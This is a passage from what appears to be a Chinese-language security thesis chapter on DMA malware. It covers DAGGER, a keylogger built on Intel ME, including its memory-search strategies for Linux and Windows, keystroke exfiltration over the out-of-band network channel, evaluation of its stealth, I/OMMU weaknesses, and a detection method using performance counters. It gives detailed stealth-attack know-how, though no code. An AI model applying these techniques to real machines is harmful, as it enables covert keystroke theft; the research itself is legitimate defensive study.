[80]（显卡）	`√ √ - -`	-

注意，此评估基于公开可获得的材料。如果我们仅仅依靠可获得的资源不能确定某个判据是否满足，我们假设该判据被满足。

4.2 DMA 恶意软件核心功能

在攻击宿主时，攻击者仅仅控制 DMA 引擎并不够。此引擎允许攻击者读取和写入宿主内存。然而，在大多数情况下，目标内存地址未知。本节描述了 DMA 恶意软件的核心功能，即克服地址随机化、内存映射，以及搜索空间限制。

攻击者必须确定内存地址。然而问题在于，例如分配给内核数据结构的内存空间在平台重启之后并不一定是位于原来的内存地址。数据结构被操作系统 随机放置于内存中。这可以以某种自然的方式发生，例如，当某个驱动程序分配内存并且获取下一段未分配的可用内存块时。该块的内存地址在平台重启之后不一定与原来相同。或者，操作系统可以应用某种随机化算法以保证数据结构不会被放置于相同的内存位置。当然，攻击者可以扫描全部系统内存以查找目标数据的签名。但是这对于扫描一台具有 4 GiB 或者更多的物理内存的系统来说非常低效。

操作系统利用 虚拟内存地址 [参见 31，第 15 章] 进行工作，而 DMA 则利用 物理内存地址 进行工作。操作系统创建了所谓的页表，它们被宿主 CPU 用于将虚拟内存地址映射到物理内存地址。这种映射在利用 DMA 解析内存地址指针时绝对必要。一种称为 CR3 的特殊宿主处理器控制寄存器包含页表的物理内存地址。攻击者不能访问 CR3 寄存器。DMA 引擎的可视性被限制在宿主内存以内。如果不进行深入分析，攻击者就必须扫描全部内存地址空间以查找相关数据。有两种潜在的方式使得攻击者可以克服这一困难。第一种方法是分析操作系统是否将上述数据结构放置在近似相同的内存区域。第二种可能性是实现操作系统的内存管理机制，即攻击者必须找到某种方式以访问由操作系统创建的内存页表。只要有了对页表的访问，攻击者就可以遍历页表并且由此解析由一个数据结构指向另一个数据结构的指针。这仍然需要已知的起始点用于搜索。

4.3 DAGGER 的设计和实现

我们将会在下一小节呈现我们的基于 DMA 的击键码记录器 DAGGER 的一般设计的概述，然后我们在 4.3.2 节解释 DAGGER 的实现细节。

4.3.1 一般设计

我们的 DAGGER 设计如图 4.1 所示。DAGGER 是一种 DMA 恶意软件。即 DAGGER 必须至少满足 DMA 恶意软件定义中的判据 C1、C2 和 C3。DAGGER 包含 3 个主要的组件：

搜索：通过 DMA 在宿主内存中查找有价值数据的地址。
处理数据：在搜索过程中识别的区域内读取有价值数据。
潜出：以某种宿主不可见的方式潜出信息。

图 4.1 DAGGER 一般设计

DAGGER 执行于具有 DMA 能力的设备上，于是它可以从宿主运行时内存中 (1) 搜索并且 (2) 处理数据。它控制了某一通讯路径以潜出数据 (3)。

4.3.2 基于 Intel ME 环境的实现

为了评估 DMA 恶意软件，我们选择在 Intel ME 上实现 DAGGER。Intel ME 为实现我们于下文所述的 DMA 恶意软件提供了某些有用的特性。

Intel ME 的核心是一块植入于平台 MCH 中的嵌入式微控制器。此隔离环境包含 只读存储器（ROM）、静态随机访问存储器（SRAM）、用于访问宿主内存的 DMA 硬件 [25，131]，以及一块处理器，如图 4.2 所示。ME 的嵌入式处理器是一块 ARCtangent-A4（ARC4）处理器。此隔离环境持续可用，与电源状态无关，甚至在待机或者开关机状态下仍然可用。它只要求芯片组被连接到某个电源。执行于此嵌入式微控制器上的应用程序被实现为固件（ME FW）的形式，并且与 BIOS 共同存储于闪存存储器中。最重要的 ME 固件范例是 Intel 主动管理技术。然而取决于计算机平台的种类（商用或者消费级），ME 还可以运行其他固件。例如由 Intel ME 执行的其他固件包括 Intel 身份保护技术、报警标准格式 [131，p.46]、用于温度和风扇控制的 Intel 安静系统技术（QST [131，p.46]），以及 集成可信平台模块（iTPM [79，p.109]）。

图 4.2 Intel 管理引擎环境

Intel 管理引擎（ME）环境包括 MCH 中的管理引擎。更进一步地，此环境包括一部分隔离的内存以及一部分隔离的持久性闪存处理器。ICH 同样包含 ME 环境组件，特别是用于实现带外通讯的组件。

ME 固件可以通过一个称为 ME 接口（MEI [79，p.71]）的 PCI 设备同宿主进行通讯。例如，MEI 可以提供所执行的 ME 固件的版本。ME 环境提供了额外的 PCI 设备 [脚注 10] 以支持诸如文本控制台和硬盘重定向等某些 AMT 特性。一个串口被模拟为实现文本控制台重定向 [参见 79，第 5 章]。发送至此端口的文本输出被通过网络转发至远程控制台。有了这项能力，管理员可以远程控制 BIOS。为了实现硬盘重定向，一块本地硬盘被 ME 环境模拟 [参见 79，第 5 章]。管理员可以通过本地模拟硬盘远程挂载存储介质（例如一张含有操作系统安装程序的 CDROM 以恢复此启用了 AMT 的平台上的操作系统）。

脚注 10：这些设备可以作为总线主控，参见 2.5 节。

在平台加电过程中，ME 固件镜像被加载至 ME 内存。ME 固件本身运行于微控制器内部的 ARC4 处理器上，它还会使用某些系统内存，如图 4.2 所示，以存储运行时数据。此运行时内存由某一内存区域提供，并且对于主 CPU 和操作系统不可见。这种隔离由芯片组强制实施 [79]。

ME 环境引入了带外（OOB）通讯，即由 iAMT 使用的特殊网络流量信道。启用了 iAMT 的计算机平台由远程管理控制台通过 OOB 管理。OOB 同样持续可用，而与电源状态无关。OOB 可以看作运行于相同硬件上的隔离网络连接。ICH 实现了必要组件以便为 ME 环境提供 OOB 特性。固件将专门用于例如 iAMT 的网络流量过滤出来并且将这些数据包重定向至 ME。宿主对于重定向的 ME 网络流量并不警觉。此类流量由 TCP 端口号来识别。

4.3.3 针对 Linux 和 Windows 目标的攻击实现细节

我们实现了两种击键码记录器原型以攻击两类目标，即基于 Linux 和 Windows 的操作系统。我们决定查找并且监控目标操作系统的 32 位版本的键盘缓冲区地址。与 64 位版本相比，32 位版本必须处理更加复杂的内存管理，例如，攻击者在映射内存地址时必须考虑 物理地址扩展（PAE [105，p.769]）或者某些内存偏移量。在下一小节中，我们描述了我们是如何实现如 4.2 节所述的 DMA 恶意软件核心功能的。这些原型在其 监控阶段 捕获短寿命的击键码。每种原型以不同方式处理用于不同目标缓冲区的 搜索阶段。这是由至少两大原因决定的。原因之一是为了评估 DMA 恶意软件的尽可能多的方面。另一个原因是不同的操作系统拥有不同的内存管理属性。我们使用一种由 Tereshkin 和 Wojtczuk [131] 所描述的漏洞以便在运行时渗透 ME 环境。为了调用我们的代码，我们挂钩到某个被我们识别为库函数 memset 的 ME 固件函数上。Tereshkin 和 Wojtczuk [131] 假设他们挂钩了某个计时器中断处理程序，但是他们实际上挂钩了 ME 固件函数 memcpy。我们之所以选择挂钩 memset 是由于我们确定此函数被更加频繁地调用。

我们的 Linux 变体基于如图 4.3 所示的签名扫描。我们分析了可获得的 Linux 源代码以得出我们的目标的签名，即键盘缓冲区的物理地址。此缓冲区地址是 USB 请求块（URB）结构的一部分，该结构定义于 Linux 源代码的 include/linux/usb.h 文件中。所需的结构字段称为 transfer_dma。此内存偏移量随内核版本不同而不同。我们通过利用 多重启动管理器（GRUB）来解决这个问题，使其在固定的物理内存地址放置一个标识符。我们实现了一个函数以便通过 DMA 读取该标识符并且对内核版本号进行分析以得出对应的偏移量。随后，我们的原型进入搜索阶段，即签名扫描。

图 4.3 USB 请求块签名扫描（简化）

(1) 开始查找指向 USB 设备结构的指针，这样的候选指针对齐到 0x400 边界。结构字段 transfer_dma 的值必须对齐到 0x20 边界。如果这两个条件同时为真，此 USB 设备结构中的产品字符串将被 (2) 检查是否包含子字符串”USB”和”Keyboard”。在签名扫描的最后一步 (3) 检查键盘缓冲区是否包含 垃圾信息，即无效的击键码。

由于我们的 Linux 原型针对的是内核数据结构，我们可以将搜索空间限制为系统内存的最前面 1 GiB。标准 Linux 系统拥有一种 1 GiB / 3 GiB 的内存分割方案，即 1 GiB 用于内核空间，3 GiB 用于用户空间。我们能够通过经验性地分析内核将我们的签名搜索所需的数据结构放置于哪块内存区域来进一步限制搜索空间。我们已经确定对于 Ubuntu Linux 内核版本 3.0.0 在一次新鲜的平台重启之后，该内存区域介于 0x33000000 至 0x36000000 之间。此键盘缓冲区的地址在待机或者休眠之后不会改变。通过这种方式，我们克服了低效扫描全部系统内存以查找随机放置的签名这一困难。在攻击 Linux 内核时，将虚拟地址映射到物理地址并不是一个大问题。通常，在 32 位版本中，一段内核虚拟地址（或者更准确地说，内核逻辑地址 [参见 31，第 15 章]）通过减去一个固定的偏移量而被映射到它的物理地址。在 64 位 Linux 版本中，无需使用这样的偏移量。因此无需获知 CR3 处理器寄存器的状态。

针对基于 Windows 的目标平台的搜索策略与此不同。为了能够利用搜索路径执行下文所述的搜索，虚拟地址必须被映射到物理地址。这种映射是通过由 Windows 内核创建的页表而实现的。这些页表的内存地址被加载至 CR3 寄存器，这是攻击者利用 DMA 所不能访问的。在利用某个简单的驱动程序进行了一些经验测试之后，此用于 系统进程 的页表的物理地址被证明为采用以下两个值之一：0x122000 或者 0x185000，对于 Windows Vista/7 系统。此系统进程是在 Windows 启动过程中所创建的首个进程。有了这一知识，DAGGER 便可以访问由内核创建的页表并且克服将虚拟地址映射到物理地址这一困难。DAGGER 实现了一种考虑到 PAE 的页表遍历算法。

我们的 Windows 恶意软件查找一个名为 DeviceExtension 的结构，它由 USB 键盘驱动程序 kbdhid.sys 所维护。此结构包含一块存储着近期按键的击键码的缓存。kbdhid.sys 的源代码不可公开获得。获得关于此驱动程序的内部信息的最便捷方式是使用 IDA Pro [脚注 11]、Windows Debugger（WinDbg）工具，以及由微软以 pdb 文件形式提供的调试符号 [脚注 12]。为了最终确定该缓冲区在 DeviceExtension 结构中的位置，我们的研究始于启动过程的早期 [参见 105，第 13 章]。我们了其他的 Windows 内部结构。为了查找用于搜索的起始指针，我们分析了 内核处理器控制区域（KPCR [105，p.62ff]），或者更加准确地说，KiInitialPCR，即用于处理器 0 的 KPCR。我们同样检查了 对象管理器名称空间目录（OMND，Windows 对象管理器的一部分）。我们确定了 KiInitialPCR 很适合于推导出一条指向 DeviceExtension 结构的路径，如图 4.4 所示。KiInitialPCR 并非定位于固定的内存地址。DAGGER 不得不在其能够开始如图 4.4 所示的搜索之前应用一个额外步骤。

脚注 11：参见 http://www.hex-rays.com/products/ida/index.shtml [访问于 2014 年二月 25 日]

脚注 12：参见 http://msdn.microsoft.com/en-us/windows/hardware/gg462988 [访问于 2014 年二月 25 日]

图 4.4 查找 DeviceExtension 结构（简化）

有了 KiInitialPCR 作为起始点，DAGGER 找到了 OMND，它通过散列值表提供了一条指向驱动程序对象 kbdhid 的路径。此对象包含指向设备对象的指针。此设备对象提供了 DeviceExtension 结构，它包含击键码缓冲区。

KiInitialPCR 的内存位置由 winload.exe 二进制文件中的一个名为 OslpLoadAllModules 的函数决定，如图 4.5 所示。此二进制文件由 Windows 启动管理器 bootmgr 所加载，而后者又由 主引导记录（MBR）代码所加载。此函数以某种或多或少地随机化的方式加载 硬件抽象层（HAL）库 hal.dll 以及 Windows 内核镜像。此内核镜像在一个固定的相对地址包含 KiInitialPCR。OslpLoadAllModules 的反汇编代码类似于某种 地址空间布局随机化（ASLR [105，p.757]）机制。

图 4.5 查找 KiInitialPCR（简化）

OslpLoadAllModules 决定了 Windows 内核镜像和 HAL 的准确位置。

用于内核镜像和 HAL 的内存缓冲区由 OslpLoadAllModules 通过一个名为 BlImgAllocateImageBuffer 的函数分配。该函数返回对于某一 Windows 系统固定的地址值。这些值可能会因系统不同而不同。对于函数 BlImgAllocateImageBuffer 的可能的返回值，共有 64 种不同的 4 kiB 对齐的虚拟地址的理论可能值。这些地址需要被检查以发现内核镜像基地址。对 BlImgAllocateImageBuffer 的反汇编揭示了用于地址随机化的种子拥有 5 位的值。这提示了对于（两种）可能的加载顺序情况中的每一种各有 32 种可能的地址，这两种可能的情况是指到底是先加载内核镜像，然后加载 hal.dll 还是反过来。只要 KiInitialPCR 在内核镜像内部具有固定的虚拟地址，同样多的待检查的虚拟地址数量同样适用于直接搜索 KiInitialPCR，而无需处理内核镜像。为了保证 DAGGER 找到的是正确的 KiInitialPCR，我们实施了一种 KiInitialPCR 签名检查。如果 DAGGER 识别到了正确的 KiInitialPCR，它就会继续利用图 4.4 所示的搜索路径查找键盘缓冲区。

我们利用以太网控制器来潜出所捕获的击键码。更准确地说，我们利用 Intel ME 环境的 OOB 特性。然而，没有文档解释如何使用这一特性。因此，我们不得不分析固件以判明如何利用 OOB 信道来潜出击键码。我们能够找到用于在 ME 运行时内存中发送网络数据包的传送环缓冲区。更进一步地，我们还能够从该传送环缓冲区中找到负责发送下一个网络数据包的固件代码。为了潜出所捕获的数据，我们准备了网络数据包，例如如图 4.6 所示的 DHCP 发现数据包。它包含记录下来的击键码。然后，我们将准备好的网络数据包复制到传送缓冲区。随后，我们通过网卡触发，将此数据包发送至某个外部平台。请注意，如果利用外部平台分析网络流量，则很容易发现被传送的数据包。为了增强此设计的隐秘性，我们 [124，125] 实现了一种隐秘计时信道，它基于所谓的 Jitterbug [参见 115]。

图 4.6 包含来自键盘缓冲区的字节的网络数据包

此 wireshark 实例执行于某个外部平台上。此网络数据包已经被 wireshark 分析为包含 4 个字节，它代表了所记录的击键码数据。

4.4 评估

我们使用一台具有 Q35 芯片组、2 GiB 内存、一块四核 3 GHz CPU，以及 iAMT 固件（版本 3.2.1）的 x86 平台来评估 DAGGER，利用 4 种不同的 32 位操作系统内核：Windows Vista 商用版（服务包 2）、Windows 7 专业版（服务包 1），以及 Ubuntu Linux 内核版本 2.6.32 和 3.0.0。

4.4.1 DMA 恶意软件功能的实现

我们根据 4.1 节所述的 DMA 恶意软件定义设计并且实现了我们的 DAGGER 原型。(C1) 显然满足，由于 DAGGER 实现了可运作的击键码记录器功能。DAGGER 在渗透过程中不需要物理访问 (C2)。我们在运行时利用基于软件的漏洞渗透 ME 环境。DAGGER 利用了专用硬件以实现 rootkit 属性 (C3)。我们运行了宿主性能开销测试（内存：MEM，网络：NET，以及 CPU），由于宿主和 ME 环境共享网卡以及内存芯片。并行的网卡和内存访问必须被仲裁，并且可能因此造成延迟。我们的测试结果如图 4.7 所示，并未显示出显著的开销。我们所能检测到的最高开销在搜索阶段扫描宿主内存时大约为 1.5%。这种最小化的性能开销不太可能使得 DAGGER 暴露。

图 4.7 宿主性能 CPU、内存和网络开销测试

我们使用时间戳计数器以测定开销时间。我们测试了通过网络（NET）以及在内存（MEM）中复制一个 100 MB 的测试文件所需的时间，以及并行计算此测试文件的 SHA1 散列值 10 次所需的时间，这是为了对全部 4 个 CPU 核心（CPU）造成压力。每组基准测试执行了 3 次：没有击键码记录器（基线）、击键码记录器处于搜索模式，以及击键码记录器处于监控模式。对于监控模式，我们将击键码记录器配置为大约每分钟持续发送大约 1000 个网络数据包。这相当于 500 次击键和 500 次释放按键事件。我们重复了每项测试 1000 次。图中的横线表示 1000 次运行的平均值。

如图 4.8 所总结的搜索时间非常短，并且我们所进行的极具侵略性的内存压力测试并不代表通常的计算机系统的内存使用。DAGGER 拥有完全只读的操作以保证其隐秘性。流行的网络嗅探工具 Wireshark [脚注 13] 在 Linux 和 Windows 系统上不能检测到任何 DAGGER 流量。宿主防火墙也不能阻止这些流量。即使反病毒软件知道 DAGGER 的签名，它也不能访问 DAGGER 的内存以成功应用签名扫描。此外，我们还运行了一种名为 Mamutu [脚注 14] 的软件，除了其他功能以外，它专注于检测击键码记录器行为。即使是专门的软件也不能发现 DAGGER 的任何痕迹。关于判据 C4，我们成功地检查了 DAGGER 的攻击代码能否在平台重启、待机以及关机之后仍然完全可运作。我们确定这取决于一个 iAMT 的 BIOS 选项。我们的代码不能在冷启动之后存活，如果此选项未被设置。

脚注 13：参见 http://www.wireshark.org/ [访问于 2014 年二月 25 日]

脚注 14：参见 http://www.emsisoft.com/en/software/mamutu/ [访问于 2014 年二月 25 日]

图 4.8 搜索时间测试结果 (a) 和 (b)

在 Linux 下利用若干种键盘的测试结果显示了搜索时间约为 1000 ms 的最佳案例和将近 30000 ms 的最差案例，如 (a) 所示。对于所有键盘的平均值为 3281 ms。有利于比较的信息是：对于 Linux（参见 4.3.2 节），扫描全部内存区域用时被测定为 13000 ms。而 30000 ms 的最差案例是由于我们所未能直接处理的错误 DMA 传输。这导致 DAGGER 重复进行搜索阶段。在 Windows 7 上，最佳搜索时间约为 50 ms 而最差搜索时间约为 120 ms，参见 (b)。对于所有键盘的平均值为 93 ms。因此，我们为 Windows 平台所实现的搜索策略的性能远远好于 Linux 的基于签名扫描的策略。

4.4.2 有效性和高效性

DAGGER 是高效的，由于它可以永久性地从键盘缓冲区捕获短寿命数据。为了表明 DAGGER 同样是有效的，我们利用不同的 Windows 和 Linux 版本以及若干种键盘测试了 DAGGER。测试得出的搜索时间总结于图 4.8，这确认了 DAGGER 非常高效。我们为每种内核和每种键盘重复测试 100 次。我们的测试发生于平台启动或者重启之后以改变每次运行时的目标地址。Linux 测试结果提示我们能够进一步限制搜索空间。我们能够在我们的测试中最常遇到的最低地址附近开始搜索。大约 2500 ms 的搜索时间是由于目标地址靠近 0x33c00000。因此我们能够跳过大约 2500 ms，如果我们在 0x33c00000 处开始搜索。更进一步地，我们能够跳过介于 0x34000000 和 0x36000000 之间的地址范围，由于我们几乎没有在此区域发现目标。大量目标被发现于 0x36e00000 附近，即还可以节省大约 12500 ms 的搜索时间。这会增加错失键盘缓冲区地址的几率。这意味着我们可以以牺牲有效性为代价来获取更好的搜索时间。在最佳案例下，搜索时间快到足以捕获诸如硬盘加密口令等。我们利用某个 Linux 系统成功地测试了这一点。Windows 内核可以将内存页交换到硬盘上——而 Linux 则不会。交换的内存页不能被 DMA 恶意软件所发现。因此我们同样对 Windows 进行了一项测试以检查内存交换对 DAGGER 是否有任何影响，如图 4.9 (d) 所示。

图 4.9 搜索时间测试结果 (c) 和 (d)

(c) 中的图像比较了不同的目标内核。DAGGER 在 Windows 7 上的性能略好于 Windows Vista。Linux 2.6.32 相对于 Linux 3.0.0 将目标内存结构放置得更加靠近 0x33000000，因此 DAGGER 在攻击 Linux 2.6.32 时拥有更多的位于 1000 ms 左右的命中率。(d) 中的结果确认了内存交换对于 DAGGER 的高效性和有效性没有影响。平台重启仅被应用于改变交换行为。尖峰是由于搜索阶段的重启。

4.4.3 ME 固件条件

为了能够真正成为隐秘的，DAGGER 确保了 ME 固件一直运行并且正确运行。iAMT 提供了一种网络服务器以用于远程平台管理 [参见 79，p.215]，它仍然可用。此服务器在本地平台的 Linux 和 Windows 上正确响应。利用 MEI（参见 4.3.2 节）工作的固件工具在 DAGGER 活动时仍然能够正常工作。我们在 Windows 下成功地测试了 AMT 状态工具（作为 本地管理服务驱动程序 的一部分）和 管理连接工具（作为 管理开发者工具包 7.0 的一部分）。在 Linux 下，我们成功地测试了 Intel AMT 开源工具和驱动程序（版本 5.0.0.30），或者更加准确地说，ME Status 和 ZTCLocalAgent 工具。注意，我们确定 DAGGER 仍然能够运行，即使已经在 BIOS 中禁用了 iAMT 固件。看起来 ME 环境不可能通过任何 BIOS 选项完全禁用。

4.4.4 I/OMMU

为了测试 I/OMMU（参见 2.6 节）能否作为对抗 DAGGER 的反制措施，我们在 BIOS 中启用了 Intel VT-d。就我们所知，Windows 并不能直接支持 I/OMMU。我们仍然能够成功攻击 Windows Vista 和 Windows 7，即使 I/OMMU 被激活。Linux 通过额外的努力支持了 I/OMMU 配置。我们同样在 BIOS 中启用 VT-d 并且通过内核命令行激活了 I/OMMU 支持。有了这些额外的步骤，我们能够阻止 Linux 版本的 DAGGER 从操作系统内存中读取短寿命的击键码。这种保护在默认状态下并未开启。在下一节中，除了其他内容以外，我们将会讨论与 I/OMMU 有关的其他问题。

4.5 关于反制措施的考虑

利用执行于宿主 CPU 之上的软件来扫描 DMA 恶意软件非常困难。例如，当前的反病毒软件并不会扫描外设的运行时内存，或者宿主 CPU 不能访问此运行时内存，由于某些隔离机制。对于扫描方法的最坏案例是 DMA 恶意软件改变了扫描软件的行为，使其得出错误的结果。如 TCG [136] 所提议的加载时固件镜像检查并不能防止运行时攻击。更进一步地，所有 ROM 组件是否都可被宿主访问这一点并不清楚。

4.5.1 I/OMMU 相关问题

对于 DMA 攻击的情况，I/OMMU（参见 2.6 节）的恰当配置被诸如 Duflot 等人 [47] 所提议为一种预防性的反制措施。这要求由系统软件配置 I/OMMU。不正确的配置不能被排除 [83，p.2]。

假设 I/OMMU 是安全的。然而，情况并非总是如此。Sang 等人 [111] 展示了 I/OMMU 配置可以被传统 PCI 设备所欺骗。Wojtczuk 等人 [148] 揭示了 I/OMMU 可以通过修改由 BIOS 提供的 DMA 重映射引擎数量而被攻击（参见 2.6 节）。这是在 I/OMMU 被系统软件配置之前完成的。我们用于 DAGGER 的环境能够执行此类攻击。此威胁只能通过执行名为 SINIT 的依赖于硬件的特定代码来化解。然而，之前至少发生过一次这样的情形，即芯片组厂商未能在芯片组发布时释出 SINIT 代码 [147，p.22]。此代码对于初始化一个用于诸如虚拟机监视器等的众所周知的、可信的环境来说是必要的。它检查 DMA 重映射引擎，并且由此能够阻止由 Wojtczuk 等人 [148] 所呈现的攻击。

SINIT 属于可信计算基并且增加了它的大小。前期工作展示了 SINIT 代码可能包含可被利用的安全漏洞，这些漏洞可以被用于欺骗 I/OMMU 机制 [参见 148]。最近，Wojtczuk 和 Rutkowska [146] 呈现了另一种可以被用于绕过 I/OMMU 机制的攻击。为了防止由 Wojtczuk 和 Rutkowska [146] 所呈现的攻击，SINIT 以及 BIOS 更新必须被应用。Wojtczuk 等人 [147] 呈现了另一种 I/OMMU 攻击。注意，SINIT 一般在基于虚拟机监视器的平台上被触发。基于通常的操作系统的平台不一定能够依靠 I/OMMU。同样值得提到的是，SINIT 要求激活额外的平台特性，即 可信执行技术 和 TPM [54]。这意味着诸如那些不想激活 TPM 的用户将不能依靠 I/OMMU。注意，TPM 是一种可选设备 [参见 54，p.212]，并且默认被关闭。

为了得到针对 DMA 恶意软件的完全保护，正确配置 I/OMMU 是绝对必要的。然而，I/OMMU 仅在其上方的用于保护整个平台的机制是安全的的情况下才能被看作是安全的。这是一项困难的任务。因此，其他方法由 Li 等人 [83] 和 Duflot 等人 [46] 所考虑。Li 等人 [83] 宣称他们的方法要求对固件进行扩展、并不能在外设造成大量 PCIe 流量的情况下正确地工作，以及验证组件需要知道精确的硬件配置。由 Duflot 等人 [46] 所呈现的方法高度针对网卡，并且不适用于诸如 Intel ME 等隔离执行环境。值得注意的是，诸如我们所实现的恶意软件能够在不进行任何网卡固件修改的情况下控制网卡，即数据潜出不能被由 Duflot 等人 [46] 所描述的方法检测到。更进一步地，此方法对于宿主 CPU 具有显著的性能问题（某个 CPU 核心 100% 使用）。

由 I/OMMU 强制实施的内存访问策略可能是不充分的，或者甚至可能在某些应用场景中阻止某些其他特性的使用。考虑诸如 CoPilot [100] 和 DeepWatch [25] 等由硬件支持的恶意软件扫描工具。I/OMMU 可以被配置为阻止 CoPilot 或者 DeepWatch 正常工作，或者允许这些系统访问宿主内存以扫描恶意软件。在后一种情况下，DMA 恶意软件可以利用 CoPilot 或者 DeepWatch 的执行环境来攻击宿主。例如，DAGGER 利用了 DeepWatch 的环境，即 Intel ME。自从 iAMT 版本 5 开始，Intel 支持对于将要执行于 Intel ME 之上的固件进行验证启动 [参见 79，p.271]。固件将会在加载时被检查。此加载时检查的结果被提供给系统软件。据我们所知，此结果并未在实践中被使用。此机制不能阻止由我们的概念验证所应用的运行时攻击。这意味着 DAGGER 证实了我们的这一假设，即诸如通过零日漏洞（参见 2.7 节）已经渗透目标系统的攻击者仍然能够雷打不动，即使诸如此类的额外安全机制已经就位。I/OMMU 的恰当配置是对抗 DMA 恶意软件的第一步。但是，如果不能解决上述问题，成功的部署并不能被保证。

4.5.2 基于 DMA 副作用的检测方式

一种可能的检测方式基于 DMA 副作用，这种副作用是我们在对自己的 DMA 恶意软件原型 DAGGER 进行首次实验的时候就观察到了的。我们的检测机制基于多种被广泛使用并且跨平台可用的 CPU 特性。

就目前为止，我们开发、实现并且评估了我们的机制，它能够检测到那些并非由宿主系统引发的非预期的恶意 DMA 使用。如果某个外设必须以宿主 CPU 的名义处理数据，则其 DMA 使用由宿主 CPU 引发。利用网卡发送一个网络数据包就是这样的一个范例。预期的 DMA 使用源自外设，并且其本意是用于运行于宿主 CPU 上的软件。接收一个网络数据包就是关于预期 DMA 使用的一个范例。我们的方法能够检测一种普遍的副作用特征。因此我们相信它除了我们自己所实现的 DMA 恶意软件原型以外，还适合于检测其他类型的 DMA 恶意软件。我们对于检测恶意 DMA 使用的调查基于这一知识，即主 CPU 和平台外设都能够在同一时刻请求对主系统内存的访问。内存控制器集线器对并行内存访问请求进行仲裁，参见图 2.5。对于我们来说的有趣问题是，这种并行内存访问是否引入了任何可以测量的副作用。如果此副作用存在并且可测量，则我们可以利用这些副作用来检测恶意行为。

我们启动了一种 Linux 内核并且只启动了一个 root shell 以保持系统负载最小化。只有一个 CPU 核心在线。我们执行了 3 次内存压力测试：没有击键码记录器（基线）、击键码记录器处于搜索模式，以及击键码记录器处于监控模式，同时参见 4.3.3 节。我们使用了一个 100 MB 的文件用于测试，通过将其从某个基于内存的文件系统中的一个位置复制到另一个位置。我们重复了此测试 1000 次并且计算了平均值。结果如图 4.10 所示。此图表揭示了我们如何利用不同的更加专门化的测量工具来精炼我们的策略。

图 4.10 内存压力测试

搜索阶段和监控阶段被表示为相对于基线的值。

GNU Time 测量结果

首先，我们尝试通常的系统工具 GNU time 以测定延时。GNU time 测量的是某个进程的系统资源使用，在我们的案例中即为内存压力测试工具。如图 4.10 左侧显示，所运行的测试结果的平均值几乎相同。我们得出结论，即 GNU time 的测量分辨率不足以揭示我们的实验中的延迟。

时间戳计数器（TSC）测量结果

我们利用一种更加精确的，基于硬件的测量工具，即 TSC [参见 69，第 17.12 节] 重复了我们的测量。TSC 对时钟周期进行计数，参见 2.3 节。其结果呈现于图 4.10 中间。我们能够得到或者重现 2% 的开销，如果我们的原型恶意软件处于搜索模式。DMA 最初被引入是为了消除 CPU 负载。这意味着执行内存传输而无需涉及宿主 CPU。因此，这种开销是一种惊喜，也是关于可检测的 DMA 副作用确实存在的第一组证据。当我们的原型恶意软件处于监控模式，我们在使用 TSC 时并不能观测到显著的开销。两种模式之间的关键区别在于，在搜索模式中，恶意软件需要复制至少一个内存页以便在其中搜索有价值数据。而在监控模式中，此恶意软件只需从键盘缓冲区复制 4 字节。

硬件性能计数器（HPC）测量结果

我们利用第三种方式重复了测量，即利用 HPC，用于代码优化的一种基于硬件性能监视工具，参见 2.3 节。这些计数器是位于 Intel 处理器上的特殊目的处理器寄存器 [69，第 18/19 章]。它们对特定事件进行计数，诸如缓存未命中、分支预测错误，以及资源停止等。类似的 HPC 在诸如 ARM 和 SPARC 等平台上同样可用。我们用于我们的实验的 Intel 平台支持 340 种事件 [脚注 15]。我们评估了它们的全部，并且确定资源停止是一种特别有效的 DMA 副作用。对于某些特定事件，HPC 事件计数相对于 TSC 测量更加精确。我们假设资源停止的次数是我们所能利用 TSC 测量得到的延迟的直接结果。作为一个范例，我们在图 4.10 中呈现了一种名为 RAT_STALLS:ROB_READ_PORT（参见 2.3 节）的硬件性能计数器所得到的结果。相对于基线，其开销高达 2 倍以上。如果没有我们的原型恶意软件，我们的测量结果是 1359898 次计数事件。如果我们的原型恶意软件处于搜索模式，平均值为 3161868 次计数事件，而在监控模式中时则为 1535054 次计数事件。后者只是略高于基线。这组精炼的测量结果展示了我们的测量越精确，则 DMA 副作用的可见性就越好。

脚注 15：我们使用了性能 API 以便在上述实验中配合 HPC 工作，它可以从此处获得：http://icl.cs.utk.edu/papi/software/index.html [访问于 2014 年二月 25 日]

检测

基于我们的发现，DMA 副作用可以被测量。这意味着我们能够设计一种 DMA 恶意软件检测机制。此机制通过建立一组测量基线并且将 TSC/HPC 的测量值与之进行比对而达到目的。在运行时，我们的系统监控 TSC/HPC 测量值并且将其与参比值进行比对。如果这些值偏离参比值，则 DMA 恶意软件就被检测出来了。我们承认关于此种基于延迟的检测方法的某种实际实现仍需进一步调查。在第 5 章，我们呈现了一种改良的检测器，它同样基于 HPC。更进一步地，对于我们的改良的方法，对于检测 DMA 恶意软件而言，人为施加的内存压力不再是必需的。在本节，我们仅仅作为反制措施来讨论 I/OMMU 和一种基于 DMA 副作用的检测方法。

4.6 本章小结

在本章中，我们研究了 DMA 恶意软件，即隐藏于专用硬件中的恶意软件。诸如此类的恶意软件可以通过直接访问宿主内存来绕过运行于宿主 CPU 之上的保护机制。我们实现并且评估了 DAGGER，一种基于 DMA 的击键码记录器。专用硬件使得我们的原型能够得益于 rootkit 属性。DAGGER 能够隐秘地运作。它不可由诸如反病毒软件等检测到。我们能够得出结论，与其他已知的 DMA 恶意软件相比，DAGGER 是一种具有代表性的恶意软件概念验证。因此，我们将会在后续章节重复使用 DAGGER 以开发一种可靠的 DMA 恶意软件检测器。

DMA 恶意软件不仅仅是控制一个 DMA 引擎。我们的评估确认了 DMA 恶意软件是高效的，即使诸如内存地址随机化等障碍已经就位。我们同样展示了 DMA 恶意软件可以是有效的，即它可以攻击若干种操作系统。这确认了 DMA 恶意软件的隐秘性无需以牺牲高效性和有效性作为代价。宿主并没有可靠的方式以保护其自身。纵观本章，我们强调了 I/OMMU 具有若干问题，并且宿主不一定能够依赖这种预防性措施以对抗 DMA 恶意软件。除了可能的漏洞以及不同的预设条件必须被满足以成功部署 I/OMMU 以外，最为明显的问题是普通的操作系统并不支持 I/OMMU，或者支持不充分。因此 DMA 恶意软件可以攻击诸如 Windows 等操作系统。用于扫描专用设备以查找恶意软件的通用并且可靠的方法并不存在。需要一种可靠并且更加通用的 DMA 恶意软件检测机制。其他研究者也调查了 I/OMMU 的替代品。

